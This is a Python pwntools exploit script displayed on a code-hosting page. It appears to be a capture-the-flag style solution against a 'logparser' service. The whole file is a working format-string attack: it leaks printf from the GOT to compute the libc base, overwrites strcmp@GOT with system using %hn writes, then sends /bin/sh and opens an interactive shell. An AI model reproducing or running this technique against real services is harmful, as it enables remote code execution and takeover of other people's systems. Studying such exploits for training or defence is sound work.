Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
66 lines (52 loc) · 1.83 KB
/
Copy pathexploit.py
File metadata and controls
66 lines (52 loc) · 1.83 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
# LogParser (REMOTE) - Format String → GOT overwrite
from pwn import *
import sys
context.binary = elf = ELF('./logparser')
context.arch = 'i386'
context.log_level = 'info'
HOST, PORT = '127.0.0.1', 9090 # <-- REMOTE TARGET
STRCMP_GOT = elf.got['strcmp']
PRINTF_GOT = elf.got['printf']
LIBC_PATH = '/usr/lib/i386-linux-gnu/libc.so.6'
libc = ELF(LIBC_PATH, checksec=False)
libc_printf = libc.symbols['printf']
libc_system = libc.symbols['system']
log.info(f"target = {HOST}:{PORT}")
log.info(f"STRCMP_GOT = {hex(STRCMP_GOT)}")
def run():
p = remote(HOST, PORT) # <-- REMOTE, not process()
p.recvuntil(b'logparser> ')
return p
# Stage 1: leak printf runtime
p = run()
p.sendline(p32(PRINTF_GOT) + b"|%12$s|")
resp = p.recvuntil(b'logparser> ', timeout=5)
log.info(f"leak resp = {resp!r}")
printf_runtime = u32(resp.split(b'|')[1][:4])
libc_base = printf_runtime - libc_printf
system = libc_base + libc_system
log.success(f"printf runtime = {hex(printf_runtime)}")
log.success(f"libc base = {hex(libc_base)}")
log.success(f"system = {hex(system)}")
assert libc_base & 0xfff == 0
assert (system & 0xff) != 0
assert ((system >> 8) & 0xff) != 0
# Stage 2: strcmp@GOT → system
PTR_BYTES = 8
low = system & 0xffff
high = (system >> 16) & 0xffff
if low < high and low >= PTR_BYTES:
payload = p32(STRCMP_GOT) + p32(STRCMP_GOT + 2)
payload += f"%{low - PTR_BYTES}c%12$hn%{high - low}c%13$hn".encode()
elif high >= PTR_BYTES:
payload = p32(STRCMP_GOT + 2) + p32(STRCMP_GOT)
payload += f"%{high - PTR_BYTES}c%12$hn%{low + 0x10000 - high}c%13$hn".encode()
else:
log.failure("ASLR flake, rerun"); sys.exit(1)
p.sendline(payload)
p.recvuntil(b'logparser> ', timeout=10)
log.success("strcmp@GOT → system ✔")
# Stage 3: shell
p.sendline(b'/bin/sh')
p.interactive()